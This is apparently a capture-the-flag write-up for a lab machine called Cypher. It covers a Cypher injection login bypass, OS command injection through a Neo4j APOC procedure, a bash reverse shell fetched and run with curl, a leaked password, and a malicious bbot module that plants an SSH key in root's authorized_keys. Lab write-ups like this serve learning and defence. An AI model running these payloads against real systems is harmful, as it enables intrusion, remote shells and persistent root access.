Cypher
Overview
Cypher is a Linux machine running a Python web application backed by a Neo4j graph database. The login form is vulnerable to Cypher injection (the NoSQL equivalent of SQL injection for graph databases), leading to authentication bypass and ultimately OS command injection via a custom Neo4j APOC procedure. Privilege escalation abuses a sudo entry for the bbot OSINT tool by loading a malicious custom module that writes an SSH key to root's authorized_keys file.
Recon
Nmap
sudo nmap -sC -sV -vv -oA tcp 10.129.4.2 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.4.2Open ports: SSH (22) and HTTP (80). Add cypher.htb to /etc/hosts.
Subdomain Fuzzing
The machine responds on a named host, so fuzz for virtual hosts:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H "Host: FUZZ.cypher.htb" -u http://cypher.htb -fl 8Directory Bruteforce
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \
-u http://cypher.htb/FUZZ -icFoothold
Cypher Injection Discovery
The login form throws a database error when a single quote ' is submitted as the username:
The error reveals the underlying Cypher query structure:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hashThe application is using Neo4j's Cypher query language and directly interpolating user input - a Cypher injection vulnerability.
Authentication Bypass
The application validates passwords by comparing against a SHA1 hash. We can inject into the WHERE clause to force a true condition and return a known hash value.
First, generate a SHA1 hash for a known password (e.g., "test"):
import hashlib
hash_object = hashlib.sha1(b'test')
pbHash = hash_object.hexdigest()
print(pbHash)
# a94a8fe5ccb19ba61c4c0873d391e987982fbbd3Inject into the username field to bypass authentication - the OR 1=1 forces the match, and we return our known hash inline so the password check passes:
POST /api/auth HTTP/1.1
Host: cypher.htb
Content-Type: application/json
{"username":"' OR 1=1 RETURN \"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\" as hash//","password":"test"}OS Command Injection via APOC
Further testing of the injection reveals a custom Neo4j APOC procedure (custom.getUrlStatusCode) that makes outbound HTTP requests. This procedure is callable from Cypher and passes its argument to an OS-level command - leading to OS command injection.
Create a reverse shell script t.sh on the attacking machine:
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.135/8443 0>&1Exploit the command injection via the Cypher procedure to fetch and execute it:
CALL custom.getUrlStatusCode("http://10.10.14.135; curl http://10.10.14.135/t.sh | bash")Shell landed as neo4j. Discover another user graphasm on the system:
The Python web application runs inside a Docker container - the neo4j user does not have direct host access.
Run linpeas for local enumeration:
Lateral Movement
Enumerate .bash_history - a cleartext password is present:
Password found: cU4btyib.20xtCMCXkBmerhK
This password works for SSH as graphasm:
ssh [email protected]User flag accessible.
Privilege Escalation
Check sudo permissions for graphasm:
graphasm can run /usr/local/bin/bbot as root. bbot is an OSINT automation framework that supports custom Python modules. Since we can load modules from a user-controlled directory and execute bbot as root, we can inject malicious code that runs with elevated privileges.
Malicious bbot Module
Create a bbot preset file bb.yml:
module:
- whois
module_dirs:
- /home/graphasm/modsCreate the malicious module /home/graphasm/mods/whois.py. The setup() method runs at scan start, before any DNS resolution:
from bbot.modules.base import BaseModule
import os
class whois(BaseModule):
watched_events = ["DNS_NAME"]
produced_events = ["WHOIS"]
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""}
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True
async def setup(self):
os.system("mkdir -p /root/.ssh")
os.system("echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIAy+FRH0fbnaaq0qbiF/vlQhUK5/qBVADGEq+HmNfT syk0@kgh0st' > /root/.ssh/authorized_keys")
os.system("chmod 600 /root/.ssh/authorized_keys")Run bbot as root with our preset:
sudo /usr/local/bin/bbot -p /home/graphasm/bb.yml -m whois -t example.comThe setup() method executes as root, writing our SSH public key to /root/.ssh/authorized_keys. SSH in as root.
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | Directory bruteforce | Login endpoint |
| Foothold | Cypher injection → auth bypass → APOC command injection | Shell as neo4j |
| Lateral movement | .bash_history password | SSH as graphasm |
| Privesc | sudo bbot + malicious module | SSH key written to root |

